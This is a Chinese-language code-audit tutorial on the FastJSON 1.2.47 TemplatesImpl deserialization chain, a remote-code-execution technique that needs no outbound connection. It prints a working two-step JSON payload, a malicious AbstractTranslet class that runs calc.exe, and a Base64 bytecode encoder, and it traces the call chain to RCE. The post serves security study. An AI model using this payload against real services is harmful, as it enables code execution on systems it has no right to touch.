代码审计 | FastJSON 1.2.47 不出网利用 —— TemplatesImpl 链分析

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代码审计 | FastJSON 1.2.47 不出网利用 —— TemplatesImpl 链分析

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前言

上一篇分析了 FastJSON 1.2.24 的 JdbcRowSetImpl 出网 RCE 链，以及 1.2.25 ~ 1.2.43 的 autoType 绕过演进。这篇来看 1.2.47 的不出网利用方式——TemplatesImpl 链。

关于 1.2.47 缓存绕过的原理（step1/step2 两步 Payload 的来龙去脉），已经在上一篇里详细分析过了，这里直接用。

两条链的区别

  • JdbcRowSetImpl 是 setter 型利用链
  • TemplatesImpl 是 getter 型利用链
JdbcRowSetImplTemplatesImpl
是否出网✅ 需要出网（JNDI 连接 RMI/LDAP）❌ 不需要出网

TemplatesImpl 链利用缓存机制，无需开启：

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

TemplatesImpl 链概览

整体思路就是：把恶意 Java 字节码直接 Base64 编码塞进 JSON 里，让 FastJSON 在本地加载并实例化，不需要任何外部连接。

利用流程：

1. [编写] 继承 AbstractTranslet 的恶意类
2. [编译] javac Exploit.java
3. [编码] Base64.encode(Exploit.class) -> String
4. [填入] 放入 Payload 的 _bytecodes 字段

利用前提

这条链有一个比较苛刻的条件：必须开启 Feature.SupportNonPublicField。

原因是 _bytecodes 是 private 字段，FastJSON 默认只处理 public 字段，开启这个 Feature 才能反序列化私有字段。

JSONObject data = JSON.parseObject(payload, Feature.SupportNonPublicField);

不过一般情况这个是不会开启的，谁有事没事把私有字段也开放出来……所以这条链的实战利用条件比较苛刻，但还是有必要学习一下，后面的 CC 链、CB 链里都有 TemplatesImpl 的影子。

利用步骤

Payload 构造

String payload = "{" +
    "\"step1\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"}," +
    "\"step2\":{" +
    "\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"," +
    "\"_bytecodes\":[\"yv66vgAAADQA...\"]," +  // 这里放你恶意类的 Base64 字节码
    "\"_name\":\"Exploit\"," +
    "\"_tfactory\":{}," +
    "\"_outputProperties\":{}" +
    "}" +
    "}";

// 关键点：不出网打 TemplatesImpl 必须开启 SupportNonPublicField
// 因为 _bytecodes 等字段是私有的 (private)
JSONObject data = JSON.parseObject(payload, Feature.SupportNonPublicField);
System.out.println(data);
关键字段说明
字段是否必须原因
_bytecodes✅ 必须恶意字节码载体
_name✅ 必须为 null 会提前 return
_tfactory⚠️ 建议写低版本 JDK 需要，写 {} 兼容
_outputProperties✅ 必须触发 getter，启动整条链

_tfactory 这个字段比较特殊：低版本 JDK 里真的会用到它来构造 ClassLoader，不传会 NPE；高版本 JDK 已经把这行改掉了，传不传都无所谓。保险起见写个 {} 兼容两边。

恶意类编写

src/main/java/org/example/Exploit.java

public class Exploit extends AbstractTranslet {
    public Exploit() {
        try {
            // 不出网环境：弹出计算器验证（Windows）
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {}

    @Override
    public void transform(DOM document,
            com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator,
            SerializationHandler handler) throws TransletException {}
}

这里恶意代码放在构造方法里也可以，放在 static {} 静态块里也可以。newInstance() 的执行顺序是先 static 块再构造方法，两种写法都能触发。

字节码转 Base64

src/main/java/org/example/BytecodeGenerator.java

import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;

public class BytecodeGenerator {
    public static void main(String[] args) throws Exception {
        // 1. 手动或通过 javac 编译 Exploit.java 得到 Exploit.class
        // 2. 读取字节码文件
        // 指向文件的实际物理路径
        byte[] classBytes = Files.readAllBytes(
            Paths.get("target/classes/org/example/Exploit.class"));

        // 3. 转换为 Base64
        String base64Code = Base64.getEncoder().encodeToString(classBytes);

        // 4. 打印结果（这就是你要填入 Payload 的内容）
        System.out.println("----- Copy the following string to _bytecodes -----");
        System.out.println(base64Code);
    }
}

效果：

调试跟链

前面步骤差不多，直接跳到读取检测完 step2 的 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 值这里开始。

FastJSON 检测到 _outputProperties:{} 之后，根据 FastJSON 的特性会去执行对应的 getter 方法，写成 outputProperties:{} 也可以，FastJSON 会自动处理下划线的问题。

触发入口：getOutputProperties

找到了 getOutputProperties 函数，进入：

public synchronized Properties getOutputProperties() {
    try {
        return newTransformer().getOutputProperties();
    } catch (TransformerConfigurationException e) {
        return null;
    }
}

调用了 newTransformer().getOutputProperties()，跟进去。

进入 new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory)

进入 getTransletInstance

_name 检查

进来这里看到了：

if (_name == null) return null; // ← _name 不能为 null！

_name 必须不为 null，第一行就判断，_name 是 null 直接 return，后面什么都不执行。所以前面 Payload 里的 _name 值必须有值，什么字符串都可以，随便写。

进入 defineTransletClasses

紧接着下面的 if，进入 defineTransletClasses()。

在这里可以看到要开始加载 _bytecodes 了，但显然是有值的，不会停在这里。

_tfactory 的问题

就在下面看到了参数 _tfactory 被使用，如果 Payload 里面没有赋值 _tfactory 的话就会报错（NPE）。

TransletClassLoader loader = new TransletClassLoader(
    ObjectFactory.findClassLoader(),
    _tfactory.getExternalExtensionsMap()); // ← _tfactory 在这里被用到

这就是为什么 Payload 里要写 "_tfactory":{}，给它一个空对象兜底。

注意：这个调用只在低版本 JDK 里存在，高版本 JDK 已经去掉了这行，直接构造 ClassLoader 不再依赖 _tfactory。所以这里的行为跟你的 JDK 版本有关。

加载 _bytecodes

接着来到这里，这里就是加载 _bytecodes 的地方，把读取的内容给了 superClass。

父类检测：为什么必须继承 AbstractTranslet

下面还有一段对父类 ABSTRACT_TRANSLET 的检测：

if (_class[i].getSuperclass().getName().equals(ABSTRACT_TRANSLET)) {
    _transletIndex = i; // ← 只有继承了才会赋值
}

可以看到，如果检测到继承了 AbstractTranslet，_transletIndex 就不会是默认的 -1，也就不会执行下面的：

if (_transletIndex < 0) {
    // 直接抛出错误
}

所以构造恶意类的时候必须继承父类 AbstractTranslet，不是"规范要求"，是"不继承就直接报错"。

另外 AbstractTranslet 有两个抽象方法必须实现，否则编译就过不了，在恶意类里空实现一下就行，不需要写任何逻辑。

newInstance() 触发 RCE

退出来后执行了 .newInstance()，计算器就弹出来了——实例化触发，构造方法里的 exec 执行。

完整调用链总结

JSON.parseObject(payload, Feature.SupportNonPublicField)
  → getOutputProperties()          ← FastJSON 触发 getter
    → newTransformer()
      → getTransletInstance()
          → _name == null ?  return  ← 所以 _name 必须有值
          → defineTransletClasses()
              → _tfactory.getExternalExtensionsMap()  ← 低版本 JDK 需要 _tfactory
              → loader.defineClass(_bytecodes[i])     ← 字节码加载进 JVM
              → 检查父类是否为 AbstractTranslet       ← 必须继承
          → _class[_transletIndex].newInstance()      ← 💥 RCE

局限性

SupportNonPublicField 这个条件在实际目标中几乎不会出现

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